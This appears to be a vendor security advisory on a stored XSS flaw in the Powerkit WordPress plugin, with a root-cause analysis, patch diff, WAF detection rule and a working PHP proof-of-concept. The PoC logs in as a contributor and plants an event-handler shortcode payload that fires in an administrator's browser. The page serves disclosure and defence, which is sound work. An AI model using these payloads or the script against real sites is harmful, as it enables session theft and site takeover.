Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-28178: Powerkit – Supercharge your WordPress Site <= 3.1.0 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin powerkit
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.1.0
Patched Version 3.1.1
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28178:

CVE-2026-28178 is a stored Cross-Site Scripting vulnerability in the Powerkit WordPress plugin affecting versions up to and including 3.1.0. The classification is CWE-79 with a CVSS score of 6.4, and exploitation requires an authenticated attacker with Contributor-level access or higher. Atomic Edge research identified multiple unsanitized sinks in the plugin, with the progress bar shortcode template serving as the primary vector for stored XSS that executes in an administrator’s browser session.

Root Cause: The vulnerability stems from insufficient output sanitization in powerkit/modules/basic-elements/templates/progressbars.php within the powerkit_basic_shortcodes_progressbar() function. The function reads shortcode attributes ($atts[‘value’], $atts[‘height’], $atts[‘color’]) and interpolates them directly into the $output HTML string via sprintf() without escaping. The $atts[‘value’] parameter is passed unchanged into both a style=”width: %3$s%%” attribute and aria-valuenow, while $atts[‘height’] flows into style=”height: %2$spx”. The $atts[‘color’] value is concatenated into the CSS class via sprintf(‘ pk-bg-%s’, $atts[‘color’]) without sanitize_html_class(). A parallel flaw exists in separators.php where $atts[‘style’] is interpolated into border-bottom-style without an allowlist, and in tabs.php where $atts[‘nav’] and $atts[‘type’] are concatenated into class attributes without sanitize_html_class(). The powerkit_alert_warning() helper in core-powerkit-helpers.php also used call_user_func(‘printf’, ‘%s’, $message) which passes message content straight to output, and core-powerkit-post-meta.php passed get_the_author() into an HTML template without filtering.

Exploitation: An authenticated Contributor creates or edits a post and inserts a shortcode payload such as [powerkit_progressbar value=”1″ onmouseover=”alert(document.cookie)” x=”” height=”1″] or [powerkit_progressbar value=”0″ onanimationstart=”alert(1)” style=””]. Because the value attribute reaches both style=”width: VALUE%” and aria-valuenow=”VALUE” without escaping, the double quote breaks out of the attribute context and injects event handlers. An alternate payload against the color attribute: [powerkit_progressbar color=’red” onclick=”alert(1)’ value=’50’]. When an administrator previews or views the post, the malicious markup executes in the admin context, allowing the contributor to steal session cookies, create an admin account, or install a backdoor plugin. The same class of injection is available via separators.php using style=’solid” onmouseover=”alert(1)’ and via the alert warning helper when $message reflects a remotely fetched API error.

Patch Analysis: Version 3.1.1 (powerkit.php line 5) applies defense-in-depth across the affected sinks. In progressbars.php, $atts[‘value’] is guarded with is_numeric() before the >100 clamp, $display_value now uses esc_html(), the class attribute uses sanitize_html_class(), and $height_css/$width_css are built with is_numeric() checks and (float) casts so an invalid value drops the style declaration entirely. The sprintf arguments are wrapped in esc_attr(). In separators.php a strict allowlist of CSS border-style keywords (none, hidden, dotted, dashed, solid, double, groove, ridge, inset, outset) is checked via in_array(…, true), with non-matching values discarded. In tabs.php, $atts[‘nav’] and $atts[‘type’] are wrapped in sanitize_html_class(). In core-powerkit-helpers.php, call_user_func(‘printf’, ‘%s’, $message) is replaced with wp_kses($message, $allowed_html) using a narrow allowlist (object, a, br, em, strong, code). In core-powerkit-post-meta.php, get_the_author() output is filtered with wp_kses_post(). Additional hardening adds wp_unslash() around sanitize_title() calls, sanitize_key() on logout_account_type, esc_url_raw() on the post-format URL, sanitize_text_field() on nonce values, and a phpcs:ignore annotation documenting that sanitize_code() handles unfiltered_html for header/footer code.

Impact: Successful exploitation gives a Contributor the ability to execute arbitrary JavaScript in the browser of any user who views the injected post, including administrators. This enables session hijacking, privilege escalation from Contributor to Administrator by creating a new admin account or resetting the admin password via the authenticated UI, persistent malware injection (rogue plugins, modified theme files), credential theft, and full site takeover. Because the payload is stored in post content and rendered on the public-facing page and in the admin preview, every visitor and admin user who loads the affected post becomes a potential victim until the injected content is removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/powerkit/admin/class-admin-powerkit-manager.php
+++ b/powerkit/admin/class-admin-powerkit-manager.php
@@ -363,7 +363,7 @@
 			return;
 		}

-		$action = sanitize_title( $_REQUEST['action'] ); // Input var ok; sanitization ok.
+		$action = sanitize_title( wp_unslash( $_REQUEST['action'] ) ); // Input var ok; sanitization ok.

 		// Bulk Actions.
 		if ( isset( $_REQUEST['checked'] ) && is_array( $_REQUEST['checked'] ) ) { // Input var ok; sanitization ok.
--- a/powerkit/core/core-powerkit-helpers.php
+++ b/powerkit/core/core-powerkit-helpers.php
@@ -20,10 +20,26 @@
  */
 function powerkit_alert_warning( $message ) {
 	if ( current_user_can( 'editor' ) || current_user_can( 'administrator' ) ) {
+		// Messages are built in-plugin and carry only a settings link, but some of
+		// them embed an error string returned by a remote API. Allow exactly the
+		// markup the plugin's own messages use and drop everything else.
+		$allowed_html = array(
+			'object' => array(),
+			'a'      => array(
+				'href'   => true,
+				'target' => true,
+				'rel'    => true,
+				'title'  => true,
+			),
+			'br'     => array(),
+			'em'     => array(),
+			'strong' => array(),
+			'code'   => array(),
+		);
 		?>
 		<p class="pk-alert pk-alert-warning" role="alert">
 			<object>
-				<?php call_user_func( 'printf', '%s', $message ); ?>
+				<?php echo wp_kses( $message, $allowed_html ); ?>
 			</object>

 			<?php esc_html_e( ' Don’t worry, this error is visible to site admins only, and your site visitors won’t see it.', 'powerkit' ); ?>
--- a/powerkit/core/core-powerkit-post-meta.php
+++ b/powerkit/core/core-powerkit-post-meta.php
@@ -223,8 +223,10 @@
 			esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
 			/* translators: %s: author name */
 			esc_attr( sprintf( __( 'View all posts by %s', 'powerkit' ), get_the_author() ) ),
-			// Author.
-			get_the_author()
+			// Author. Filtered rather than escaped so that a display name containing
+			// markup keeps rendering as it does today, while scripts and event
+			// handlers are removed even if a caller echoes this return value raw.
+			wp_kses_post( get_the_author() )
 		);

 		$output .= '</' . esc_html( $tag ) . '>';
--- a/powerkit/extensions/connect/class-powerkit-connect.php
+++ b/powerkit/extensions/connect/class-powerkit-connect.php
@@ -80,7 +80,8 @@
 								<?php
 								$connect_list = array_values( $connect_list );

-								$tab = sanitize_title( isset( $_GET['tab'] ) ? $_GET['tab'] : $connect_list[0]['id'] ); // Input var ok; sanitization ok.
+								// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only tab switch, changes nothing.
+								$tab = sanitize_title( isset( $_GET['tab'] ) ? wp_unslash( $_GET['tab'] ) : $connect_list[0]['id'] );
 								?>

 								<nav class="nav-tab-wrapper woo-nav-tab-wrapper">
@@ -365,7 +366,7 @@
 				}

 				if ( isset( $_POST['logout_account_type'] ) ) {
-					$this->location_reset_cache( $_POST['logout_account_type'] );
+					$this->location_reset_cache( sanitize_key( wp_unslash( $_POST['logout_account_type'] ) ) );
 				}

 				printf( '<div id="message" class="updated fade"><p><strong>%s</strong></p></div>', esc_html__( 'Account disabled successfully.', 'powerkit' ) );
--- a/powerkit/extensions/fonts/class-powerkit-fonts.php
+++ b/powerkit/extensions/fonts/class-powerkit-fonts.php
@@ -85,7 +85,8 @@
 									<?php
 									$first_settings = current( $fonts_settings );

-									$tab = sanitize_title( isset( $_REQUEST['tab'] ) ? $_REQUEST['tab'] : $first_settings['id'] ); // Input var ok; sanitization ok.
+									// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only tab switch, changes nothing.
+									$tab = sanitize_title( isset( $_REQUEST['tab'] ) ? wp_unslash( $_REQUEST['tab'] ) : $first_settings['id'] );
 									?>
 									<nav class="nav-tab-wrapper">
 										<?php
--- a/powerkit/modules/basic-elements/templates/progressbars.php
+++ b/powerkit/modules/basic-elements/templates/progressbars.php
@@ -93,10 +93,10 @@
 function powerkit_basic_shortcodes_progressbar( $output, $atts, $content ) {

 	// Value.
-	$atts['value'] = $atts['value'] > 100 ? 100 : $atts['value'];
+	$atts['value'] = ( is_numeric( $atts['value'] ) && $atts['value'] > 100 ) ? 100 : $atts['value'];

 	// Display value.
-	$display_value = ( 'true' === $atts['display_value'] ) ? $atts['value'] . '%' : '';
+	$display_value = ( 'true' === $atts['display_value'] ) ? esc_html( $atts['value'] ) . '%' : '';

 	// Striped and animated.
 	$class  = 'pk-progress-bar';
@@ -104,15 +104,22 @@
 	$class .= ( 'true' === $atts['animated'] ) ? ' pk-progress-bar-animated' : '';

 	// Color.
-	$class .= sprintf( ' pk-bg-%s', $atts['color'] );
+	$class .= ' pk-bg-' . sanitize_html_class( $atts['color'] );
+
+	// Dimensions. Both are cast to a number so they can never break out of the
+	// style attribute. A non-numeric value drops the declaration, which is how
+	// a browser already treats an invalid one.
+	$height_css = is_numeric( $atts['height'] ) ? sprintf( 'height: %spx;', (float) $atts['height'] ) : '';
+	$width_css  = is_numeric( $atts['value'] ) ? sprintf( 'width: %s%%;', (float) $atts['value'] ) : '';

 	$output = sprintf(
-		'<div class="pk-progress" style="height: %2$spx;">
-			<div class="%s" role="progressbar" style="width: %3$s%%;" aria-valuenow="%3$s" aria-valuemin="0" aria-valuemax="100">%4$s</div>
+		'<div class="pk-progress" style="%2$s">
+			<div class="%1$s" role="progressbar" style="%3$s" aria-valuenow="%4$s" aria-valuemin="0" aria-valuemax="100">%5$s</div>
 		</div>',
-		$class,
-		$atts['height'],
-		$atts['value'],
+		esc_attr( $class ),
+		esc_attr( $height_css ),
+		esc_attr( $width_css ),
+		esc_attr( $atts['value'] ),
 		$display_value
 	);

--- a/powerkit/modules/basic-elements/templates/separators.php
+++ b/powerkit/modules/basic-elements/templates/separators.php
@@ -61,10 +61,20 @@
  */
 function powerkit_basic_shortcodes_separator( $output, $atts, $content ) {

+	// Allowed CSS border-style keywords. The list is wider than the options the
+	// radio field offers, so a hand-written style="groove" keeps working. Any
+	// other value drops the declaration, which is how a browser already treats
+	// an invalid one.
+	$allowed_styles = array( 'none', 'hidden', 'dotted', 'dashed', 'solid', 'double', 'groove', 'ridge', 'inset', 'outset' );
+
 	if ( 'blank' === $atts['style'] ) {
 		$inl_css = sprintf( 'style="height: %dpx;"', absint( $atts['height'] ) );
 	} else {
-		$inl_css = sprintf( 'style="border-bottom-width: %dpx; border-bottom-style: %s;"', absint( $atts['height'] ), $atts['style'] );
+		$border_style = in_array( $atts['style'], $allowed_styles, true )
+			? sprintf( ' border-bottom-style: %s;', $atts['style'] )
+			: '';
+
+		$inl_css = sprintf( 'style="border-bottom-width: %dpx;%s"', absint( $atts['height'] ), $border_style );
 	}

 	$output = sprintf(
--- a/powerkit/modules/basic-elements/templates/tabs.php
+++ b/powerkit/modules/basic-elements/templates/tabs.php
@@ -130,9 +130,9 @@

 	// Tabs Output.
 	$output  = '';
-	$output .= '<div class="pk-tabs pk-tabs-' . $atts['nav'] . '">';
+	$output .= '<div class="pk-tabs pk-tabs-' . sanitize_html_class( $atts['nav'] ) . '">';
 	$output .= '<div class="pk-tabs-container">';
-	$output .= '<div class="pk-tabs-navigation"><ul class="pk-nav pk-nav-' . $atts['type'] . '" role="tablist">' . $nav_items . '</ul></div>';
+	$output .= '<div class="pk-tabs-navigation"><ul class="pk-nav pk-nav-' . sanitize_html_class( $atts['type'] ) . '" role="tablist">' . $nav_items . '</ul></div>';
 	$output .= '<div class="pk-tabs-content"><div class="pk-tab-content">' . $pane_items . '</div></div>';
 	$output .= '</div>';
 	$output .= '</div>';
--- a/powerkit/modules/class-powerkit-custom-fonts.php
+++ b/powerkit/modules/class-powerkit-custom-fonts.php
@@ -302,7 +302,7 @@

 			// Check custom action.
 			if ( isset( $_REQUEST['action'] ) ) { // Input var ok; sanitization ok.
-				$action = sanitize_title( $_REQUEST['action'] ); // Input var ok; sanitization ok.
+				$action = sanitize_title( wp_unslash( $_REQUEST['action'] ) ); // Input var ok; sanitization ok.

 				if ( isset( $_REQUEST['powerkit_custom_fonts_id'] ) && 'edit' === $action ) { // Input var ok.
 					$powerkit_custom_fonts_id = sanitize_key( wp_unslash( $_REQUEST['powerkit_custom_fonts_id'] ) ); // Input var ok.
@@ -626,7 +626,7 @@

 			// Set new settings.
 			if ( isset( $_POST['powerkit_custom_fonts_name'] ) ) { // Input var ok.
-				$font_list[ $id ]['slug'] = sanitize_title( $_POST['powerkit_custom_fonts_name'] ); // Input var ok; sanitization ok.
+				$font_list[ $id ]['slug'] = sanitize_title( wp_unslash( $_POST['powerkit_custom_fonts_name'] ) ); // Input var ok; sanitization ok.
 			}
 			if ( isset( $_POST['powerkit_custom_fonts_name'] ) ) { // Input var ok.
 				$font_list[ $id ]['name'] = sanitize_text_field( wp_unslash( $_POST['powerkit_custom_fonts_name'] ) ); // Input var ok; sanitization ok.
--- a/powerkit/modules/featured-categories/admin/class-powerkit-featured-categories-admin.php
+++ b/powerkit/modules/featured-categories/admin/class-powerkit-featured-categories-admin.php
@@ -113,7 +113,7 @@
 		}

 		// if our nonce isn't there, or we can't verify it, bail.
-		if ( ! isset( $_POST['powerkit_category'] ) || ! wp_verify_nonce( $_POST['powerkit_category'], 'category_options' ) ) { // Input var ok; sanitization ok.
+		if ( ! isset( $_POST['powerkit_category'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['powerkit_category'] ) ), 'category_options' ) ) { // Input var ok; sanitization ok.
 			return;
 		}

--- a/powerkit/modules/headers-footers/admin/class-powerkit-headers-footers-admin.php
+++ b/powerkit/modules/headers-footers/admin/class-powerkit-headers-footers-admin.php
@@ -121,11 +121,17 @@

 		if ( isset( $_POST['save_settings'] ) ) { // Input var ok.

+			// sanitize_code() is the sanitiser here: it keeps the markup intact only
+			// for users who hold unfiltered_html and runs wp_kses_post() for everyone
+			// else. That is the whole point of this screen, so the raw value has to
+			// reach it unmodified.
 			if ( isset( $_POST['powerkit_insert_header_code'] ) ) { // Input var ok.
-				update_option( 'powerkit_insert_header_code', $this->sanitize_code( wp_unslash( $_POST['powerkit_insert_header_code'] ) ) ); // Input var ok.
+				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitised by sanitize_code().
+				update_option( 'powerkit_insert_header_code', $this->sanitize_code( wp_unslash( $_POST['powerkit_insert_header_code'] ) ) );
 			}
 			if ( isset( $_POST['powerkit_insert_footer_code'] ) ) { // Input var ok.
-				update_option( 'powerkit_insert_footer_code', $this->sanitize_code( wp_unslash( $_POST['powerkit_insert_footer_code'] ) ) ); // Input var ok.
+				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitised by sanitize_code().
+				update_option( 'powerkit_insert_footer_code', $this->sanitize_code( wp_unslash( $_POST['powerkit_insert_footer_code'] ) ) );
 			}
 			printf( '<div id="message" class="updated fade"><p><strong>%s</strong></p></div>', esc_html__( 'Settings saved.', 'powerkit' ) );
 		}
--- a/powerkit/modules/post-format-ui/admin/class-powerkit-post-format-ui-admin.php
+++ b/powerkit/modules/post-format-ui/admin/class-powerkit-post-format-ui-admin.php
@@ -98,7 +98,7 @@
 		}

 		if ( isset( $_POST['url'] ) ) { // Input var ok; sanitization ok.
-			$url = $_POST['url']; // Input var ok; sanitization ok.
+			$url = esc_url_raw( wp_unslash( $_POST['url'] ) ); // Input var ok; sanitization ok.
 		}

 		if ( ! isset( $url ) ) {
@@ -341,7 +341,7 @@
 		}

 		// if our nonce isn't there, or we can't verify it, bail.
-		if ( ! isset( $_POST['pk-post-format'] ) || ! wp_verify_nonce( $_POST['pk-post-format'], 'pk-post-format' ) ) { // Input var ok; sanitization ok.
+		if ( ! isset( $_POST['pk-post-format'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['pk-post-format'] ) ), 'pk-post-format' ) ) { // Input var ok; sanitization ok.
 			return;
 		}

--- a/powerkit/modules/post-views/admin/class-powerkit-post-views-admin.php
+++ b/powerkit/modules/post-views/admin/class-powerkit-post-views-admin.php
@@ -250,7 +250,7 @@
 			$result = $request->request( 'https://accounts.google.com/o/oauth2/token', array(
 				'method' => 'POST',
 				'body'   => array(
-					'code'          => sanitize_text_field( isset( $_GET['code'] ) ? $_GET['code'] : null ), // Input var ok; sanitization ok.
+					'code'          => sanitize_text_field( isset( $_GET['code'] ) ? wp_unslash( $_GET['code'] ) : null ), // Input var ok; sanitization ok.
 					'client_id'     => $options['clientid'],
 					'client_secret' => $options['psecret'],
 					'redirect_uri'  => powerkit_get_page_url( $this->slug ),
--- a/powerkit/modules/post-views/public/class-powerkit-post-views-public.php
+++ b/powerkit/modules/post-views/public/class-powerkit-post-views-public.php
@@ -38,8 +38,10 @@
 			return;
 		}

-		if ( isset( $_REQUEST['post_id'] ) && $_REQUEST['post_id'] ) { // Input var ok; sanitization ok.
-			$post_id = (int) sanitize_text_field( wp_unslash( $_REQUEST['post_id'] ) ); // Input var ok; sanitization ok.
+		$requested_post_id = isset( $_REQUEST['post_id'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['post_id'] ) ) : ''; // Input var ok; sanitization ok.
+
+		if ( $requested_post_id ) {
+			$post_id = (int) $requested_post_id;

 			$result = esc_html( powerkit_get_post_views( $post_id, true, false ) );

--- a/powerkit/modules/share-buttons/admin/class-powerkit-share-buttons-admin.php
+++ b/powerkit/modules/share-buttons/admin/class-powerkit-share-buttons-admin.php
@@ -162,7 +162,8 @@
 								<?php
 								$locations = array_values( $locations );

-								$tab = sanitize_title( isset( $_GET['tab'] ) ? $_GET['tab'] : $locations[0]['location'] ); // Input var ok; sanitization ok.
+								// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only tab switch, changes nothing.
+								$tab = sanitize_title( isset( $_GET['tab'] ) ? wp_unslash( $_GET['tab'] ) : $locations[0]['location'] );
 								?>

 								<nav class="nav-tab-wrapper woo-nav-tab-wrapper">
--- a/powerkit/powerkit.php
+++ b/powerkit/powerkit.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:       Powerkit
  * Description:       Powerkit – essential components for every WordPress site.
- * Version:           3.1.0
+ * Version:           3.1.1
  * Author:            Code Supply Co.
  * Author URI:        https://codesupply.co
  * License:           GPL-2.0+

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28178
# Powerkit <= 3.1.0 stored XSS via powerkit_progressbar shortcode attributes.
# The shortcode is normally submitted through admin post.php / admin-ajax.php.
# We match the shortcode tag and then look for a quote-breaking attribute
# pattern (attribute value containing ", ', <, >, or an on* / javascript: token).
# Legitimate progress bar shortcodes use plain numeric/word attrs and will not match.
SecRule REQUEST_URI "@rx ^/wp-admin/(post|admin-ajax|admin-post).php" 
  "id:202628178,phase:2,deny,status:403,chain,msg:'CVE-2026-28178 Powerkit progressbar shortcode attribute injection',severity:'CRITICAL',tag:'CVE-2026-28178',tag:'XSS'"
  SecRule REQUEST_BODY "@rx [powerkit_progressbar[^]]*(value|height|color|display_value|striped|animated)s*=s*(x22|x27)?[^]x22x27]*(x22|x27)s*(on[a-z]+s*=|javascript:|<|>)" 
    "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-28178 - Powerkit <= 3.1.0 Authenticated (Contributor+) Stored XSS
//
// Requires: a WordPress install with Powerkit <= 3.1.0 active, and a valid
// Contributor-level (or higher) account. The script logs in, creates a draft
// post containing a malicious progress bar shortcode, and reports the URL.
// When an admin opens the preview, the injected JavaScript fires.

$target_url = 'http://localhost:8080'; // <-- change to your WordPress base URL
$username   = 'contributor';
$password   = 'contributor-pass';

$cookie_jar = tempnam(sys_get_temp_dir(), 'pk_cve_');

function http_request($url, $method = 'GET', $post = null, $cookie_jar = null, $follow = true) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $follow);
    curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC/1.0');
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, is_array($post) ? http_build_query($post) : $post);
    }
    $body = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return array('code' => $code, 'body' => $body);
}

// Step 1: fetch the login page to obtain the login nonce (some installs require it).
$login_page = http_request($target_url . '/wp-login.php', 'GET', null, $cookie_jar);

// Step 2: authenticate as the contributor.
$login_resp = http_request($target_url . '/wp-login.php', 'POST', array(
    'log'         => $username,
    'pwd'         => $password,
    'wp-submit'   => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie'  => '1',
), $cookie_jar);

if (strpos((string) $login_resp['body'], 'wp-admin') === false && $login_resp['code'] < 300) {
    // Fall back: verify session via profile page.
}

// Step 3: load the new-post admin page to extract required form fields (nonce, etc.).
$new_post = http_request($target_url . '/wp-admin/post-new.php', 'GET', null, $cookie_jar);
if ($new_post['code'] !== 200) {
    fwrite(STDERR, "[-] Could not reach post-new.php. Login may have failed.n");
    exit(1);
}

$nonce = '';
if (preg_match('/name="_wpnonce"s+value="([a-f0-9]+)"/i', $new_post['body'], $m)) {
    $nonce = $m[1];
}
$post_id = '';
if (preg_match('/name="post_ID"s+value="(\d+)"/i', $new_post['body'], $m)) {
    $post_id = $m[1];
}

// Step 4: build the payload. The Progress Bar shortcode interpolates
// $atts['value'] into style="width: VALUE%" and aria-valuenow="VALUE"
// without escaping, so a double quote breaks out of the attribute context.
$payload = '[powerkit_progressbar value="0" onmouseover="alert(document.domain)" style="" height="10"]';

// Step 5: submit the post as a draft (Contributor default).
$submit = http_request($target_url . '/wp-admin/post.php', 'POST', array(
    'action'   => 'editpost',
    'post_ID'  => $post_id,
    'post_type'=> 'post',
    '_wpnonce' => $nonce,
    'post_title'=> 'Atomic Edge PoC - CVE-2026-28178',
    'content'  => $payload,
    'post_status'=> 'draft',
    'save'     => 'Save Draft',
), $cookie_jar);

// Step 6: report. Admin must preview/approve for the script to execute.
echo "[+] Payload submitted as draft.n";
if (!empty($post_id)) {
    echo "[+] Preview URL: {$target_url}/wp-admin/post.php?post={$post_id}&action=editn";
    echo "[+] Any admin who opens the preview will trigger the injected handler.n";
} else {
    echo "[+] Submission returned HTTP {$submit['code']}. Check wp-admin for the draft.n";
}

@unlink($cookie_jar);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.